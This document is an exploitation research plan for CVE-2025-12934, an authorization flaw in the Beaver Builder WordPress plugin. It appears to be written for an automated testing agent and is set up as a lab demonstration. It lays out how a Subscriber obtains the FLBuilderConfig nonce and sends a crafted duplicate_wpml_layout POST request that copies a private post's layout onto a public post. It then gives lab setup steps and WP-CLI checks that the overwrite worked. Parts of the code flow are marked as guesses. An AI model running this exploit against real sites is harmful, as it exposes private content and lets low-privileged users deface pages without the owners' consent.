Exploitation Research Plan: CVE-2025-12934 (Beaver Builder Arbitrary Post Update)

This plan outlines the research steps to demonstrate the missing authorization vulnerability in Beaver Builder <= 2.9.4.1, which allows Subscriber-level users to overwrite post content.

1. Vulnerability Summary

• Vulnerability: Missing Authorization (Insecure Direct Object Reference / IDOR).
• Vulnerable Function: duplicate_wpml_layout (likely within classes/class-fl-builder-ajax.php).
• Description: The function intended to support WPML (WordPress Multilingual Plugin) layout duplication fails to verify if the current user has the authority to edit the posts being manipulated. It accepts a source post ID and a destination post ID, then copies the Beaver Builder layout data from the source to the target.
• Impact: A Subscriber can overwrite a public post with the content of a private/password-protected post (Information Disclosure) or overwrite important pages with arbitrary content from other Beaver Builder posts (Data Integrity loss).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: duplicate_wpml_layout (authenticated AJAX).
• Required Authentication: Any authenticated user (Subscriber level and above).
• Payload Parameters:
  • action: duplicate_wpml_layout
  • post_id: (Integer) The ID of the source post (the content to be copied).
  • new_id: (Integer) The ID of the destination post (the post to be overwritten).
  • nonce: (String) A valid Beaver Builder AJAX nonce.

3. Code Flow (Inferred from BB Architecture)

1. Registration: The plugin registers the AJAX action: add_action( 'wp_ajax_duplicate_wpml_layout', array( 'FLBuilderAjax', 'duplicate_wpml_layout' ) );
2. Entry Point: FLBuilderAjax::duplicate_wpml_layout() is called.
3. Missing Check: The function likely validates the nonce but fails to perform a current_user_can( 'edit_post', $new_id ) check.
4. Data Processing: The function retrieves metadata (prefixed with _fl_builder_) from post_id.
5. Sink: It uses update_post_meta() or FLBuilderModel::duplicate_post() to apply that metadata to new_id.

4. Nonce Acquisition Strategy

Beaver Builder typically localizes nonces for its AJAX handlers.

1. Requirement: The script fl-builder.js must be enqueued. This happens when the Beaver Builder UI is active or on pages where Beaver Builder content is rendered.
2. Shortcode: Use the Beaver Builder "Saved Template" or "Global" shortcode if necessary, or simply navigate to a page created with Beaver Builder.
3. Extraction:
   • The nonce is usually found in the FLBuilderConfig global JavaScript object.
   • Target Variable: FLBuilderConfig.nonce
4. Method:
   • Create a page as Admin and enable Beaver Builder on it.
   • As the Subscriber user, view this page.
   • Use browser_eval("FLBuilderConfig.nonce") to retrieve the token.

5. Exploitation Strategy

Step 1: Discover Post IDs

The attacker identifies the post_id of a private post they want to read and a new_id of a public post they are allowed to view (but not edit).

Step 2: The Attack Request

Using the http_request tool, send the following POST request as the Subscriber:

URL: http://[target-ip]/wp-admin/admin-ajax.php
Method: POST
Headers:

• Content-Type: application/x-www-form-urlencoded
• Cookie: [Subscriber Cookies]
  Body:

action=duplicate_wpml_layout&post_id=[SOURCE_ID]&new_id=[TARGET_ID]&nonce=[NONCE_VALUE]

Step 3: Trigger Content Rendering

The destination post (new_id) now contains the Beaver Builder metadata from the source post. Visit the URL of the destination post. WordPress and Beaver Builder will render the metadata of the destination post, which is now identical to the sensitive source post.

6. Test Data Setup

1. Target Plugin: Install Beaver Builder Lite version <= 2.9.4.1.
2. Admin Setup:
   • Create a "Secret Post" (ID: S) with status private. Use Beaver Builder to add unique text: SECRET_DATA_CONTENT.
   • Create a "Public Post" (ID: P) with status publish. Use Beaver Builder to add placeholder text: OLD_PUBLIC_CONTENT.
3. User Setup: Create a user attacker with the Subscriber role.
4. Nonce Environment: Ensure the Beaver Builder "Post Type" settings (under Settings > Beaver Builder) allow editing of Posts/Pages to ensure the script enqueues correctly.

7. Expected Results

• HTTP Response: The AJAX request should return a success status (often a JSON object {"success": true}).
• Behavior: The database table wp_postmeta for post P should now contain _fl_builder_data and other layout meta matching post S.
• Visual Confirmation: Navigating to the URL of Post P displays SECRET_DATA_CONTENT.

8. Verification Steps (WP-CLI)

Confirm the overwrite by comparing post metadata:

# Check source meta
wp post meta list [SOURCE_ID] --keys=_fl_builder_data

# Check target meta (should match source after exploit)
wp post meta list [TARGET_ID] --keys=_fl_builder_data

9. Alternative Approaches

• Direct Meta Manipulation: If duplicate_wpml_layout only copies specific keys, test if it can be used to copy data from FL_BUILDER_LAYOUT (global templates).
• Nonce Check Bypass: Investigate if Beaver Builder allows current_user_can( 'edit_posts' ) generally, which Subscribers lack, or if the action is registered under wp_ajax_nopriv_. The CVE specifically states "Subscriber+", so wp_ajax_ is the likely hook.
• UI-based Acquisition: If FLBuilderConfig is not available, check wp_localize_script for FLBuilderAjax or FLBuilderFree prefixes in the page source.